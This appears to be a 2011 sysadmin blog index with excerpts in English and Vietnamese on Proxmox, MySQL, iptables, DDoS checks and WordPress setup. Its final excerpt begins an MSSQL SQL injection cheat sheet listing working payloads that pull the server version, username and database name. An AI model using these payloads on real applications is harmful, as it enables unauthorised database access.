This is tutorial boot proxmox with USB. You must burn file *.iso. And then download a tool that will convert your usb stick into a bootable one (for example, unetbootin or usb universal installer).
Run program and choose: "Try Unlisted Linux ISO” --> create.
And then copy file *.iso (of proxmox) to usb.
Boot USB and type...
Sunday, October 23, 2011 at 11:38 PM
Using dual or multiple monitors in Linux is relatively straightforward as most monitors are automatically detected on the major distributions. However, Gnome does not give an option for specifying which monitor is the primary - that is to say the monitor which holds the panels by default and is considered the 'default' display....
at 10:20 PM
Khi database của bạn lớn/nhiều hoặc lượng truy cập và liên tục , chắc chắn MySQL sẽ chiếm rất nhiều tài nguyên và khiến server load cao. Để hạn giảm load cho server , chúng ta có thể cache lại kết quả của các lần query vào bộ nhớ RAM. Tính năng này được MySQL hỗ trợ từ phiên bản 4.0.1 trở lên, để enable chức năng này chúng ta cần...
Wednesday, September 21, 2011 at 8:55 AM
Cấu hình Dynamic DNS client
Những người truy cập Internet bằng cách quay số điện thoại (dial-up) hay ADSL thường không được ISP cấp địa chỉ IP cố định (tại sao? xem phần tham khảo). Mỗi lần truy cập, hay mỗi lần truy cập lại do kết nối bị ngắt, người dùng thường được cấp một địa chỉ IP khác với địa chỉ IP của lần kết nối trước.
Trong...
Sunday, August 21, 2011 at 7:57 PM
Một số câu lệnh kiểm tra server khi bị tấn công DDoS
- Kiểm tra số connection trên port 80:
Code:
netstat -n | grep :80 |wc -l
- Kiểm tra số lượng connection đang ở trạng thái SYN_RECV:
Code:
netstat -n | grep :80 | grep SYN_RECV|wc -l
- Hiển thị tất cả các IP đang kết nối và số lượng kết nối từ mỗi IP:
Code:
netstat -an|grep...
Thursday, August 11, 2011 at 10:27 PM
Q. I'd like to tell my Linux iptables firewall to flush out the current configuration every 5 minutes. This will help when I'm testing a new rules and configuration options. Some time I find myself locked out of my own remote server. How do I reset Linux firewall automatically without issuing hard reboot?
A. You can easily flush...
Friday, July 22, 2011 at 10:52 PM
In your favorite shell you can export a MySQL database and Import using the following.
on Ubuntu, my MySQL databases are located at
/var/lib/mysql/database_name
To Export a MySQL Database run:
mysqldump -v -u username -p database_name > dumpfile.sql
To Import a MySQL Database run:
mysql -v -u username -p database_name <...
at 10:50 PM
check memory usage:
cat /proc/meminfo
or
free
free command displays amount of total, free and used physical memory (RAM) in the system, as well as shoing information on shared memory, buffers, cached memory and swap space used by the Linux kernel.
Syntax of free
free -[options]
Example usage of free
free -m
The command...
Monday, June 13, 2011 at 9:21 PM
Trong quá trình sử dụng linux hay xem các bài hướng dẫn bảo mật chắc các bạn đã từng nghe nhiều đến một file đặt biệt trong hệ thống các file của linux là file /dev/null. Hôm nay tớ xin viết một bài giới thiệu về file này để các bạn cùng hiểu thêm về hệ thống file của linux, ngoài ra có thể áp dụng nó trong việc bảo mật.
1. Trong...
at 7:59 PM
INSTALL THE SYSTEM PREREQUISITES
# yum install mysql-server httpd nano php php-mysql
# chkconfig httpd on
# chkconfig mysqld on
# service mysqld start
# service httpd start
CREATE THE DATABASE
# mysqladmin create wordpress
# mysql
mysql> GRANT ALL PRIVILEGES ON wordpress.* TO 'wordpress'@'localhost' IDENTIFIED BY 'please+use+a+strong+password';
mysql>...
at 7:57 PM
The installation of WordPress is simple and straightforward. Really. So I’m not going to detail the installation process, which is well documented here. However, the permalink feature does not work out of the box on a standard CentOs 5 distribution. Some changes have to be made in the apache configuration files to enable mod_rewrite...
at 11:19 AM
1 - Standard SQL injection (not blind)
1.1 - Information gathering
Get server version:
' OR 1 in (select @@version) --
Get server name:
' OR 1 in (select @@servername) --
Get current username:
' OR 1 in (select USER_NAME()) --
Get current database name:
' OR 1 in (select DB_NAME()) --
1.2 - Database structure
MSSQL is a very...